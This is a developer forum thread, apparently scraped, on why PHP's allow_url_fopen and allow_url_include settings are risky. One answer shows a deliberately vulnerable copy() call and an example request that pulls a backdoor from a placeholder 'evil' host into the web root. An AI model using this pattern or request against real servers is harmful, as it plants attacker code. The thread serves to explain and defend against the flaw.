PHP stream security

Why is not secure allow to access to resources with URIs like "http://example.com/badcode.txt"? What me开发者_运维百科ans non-file-based?

i'm reading this PHP security check list: http://www.sk89q.com/2009/08/definitive-php-security-checklist/

thx

^_^

allow_url_fopen is dangerous because it turns seemingly innocent functions into dangerous "sinks". For instance the copy() function is useful for moving files around, but with allow_url_fopen=On you can do somthing nasty:

copy($_GET[file],$_GET[path]);

http://localhost/copy.php?file=http://evil/backdoor.txt&path=/var/wwww/backdoor.php

allow_url_fopen should be disabled on a production system. You should use curl for accessing http/ftp/whatever. Also make sure to run PHPSecInfo to further lock down your php installation. PHPSecInfo will throw a warning for allow_url_fopen.

You must mean allow_url_fopen. Honestly, I don't think there's any valid security reason to disallow this.

allow_url_include is an option that it's better to have disabled, in case you have an error in your scripts that uses user input to build a path of an include path. Honestly, that shouldn't be done ever, but the settings can mitigate some damage (it won't hurt).

Well, the HTTP protocol is insecure by default, an attack in the middle is possible, resulting in 'rogue code'. If you MUST require/include over HTTP (I cannot fathom why it should ever be necessary), at least use HTTPS.

That particular section talks about including files (i.e. php code that is executed). If you use a stream from another site being included, you basically allow code be run on your server that you have not vetted. It could change with time, there could be a man in the middle attack.

Basically you open a backdoor to allow code being run on your server that is out of your control. This is by definition insecure.

Even if you don't include it directly in your code, as with user inputs, you need to encapsulate anything you use in order to prevent code injection either to sql or to php. I have seen people directly putting uncontrolled input into eval statements. Which in turn often leads to a compromised computer.

A function that can load "non-file-based" data is a function that :

• is Generally used to load files from the local disk
• but can also access remote data, via HTTP, FTP, ...

An example of such function is file_get_contents, if allow_url_fopen is enabled.

About the "non-secure" stuff, look at this example :

$file = '...';
$my_data = file_get_contents($file);

With that, you'll suppose that $my_data contains something loaded from a local-file.

Now, if $file is created with something passed to the script, as $_GET, for example, you might end up loading a remote file, and not a local-one... And you have no idea what $my_data might contain, in such a situation.

This could be dangerous with just loading a file... Now, if you were using require instead of file_get_contents... it means anyone could execute any PHP code on your server !

Happily for us, there is one directive to enable remote-file opening (allow_url_fopen), and another one to enable remote-file inclusion (allow_url_include).

Quite often, the first one is enable, because it's useful ; and the second is disabled, because it causes ecurity risks.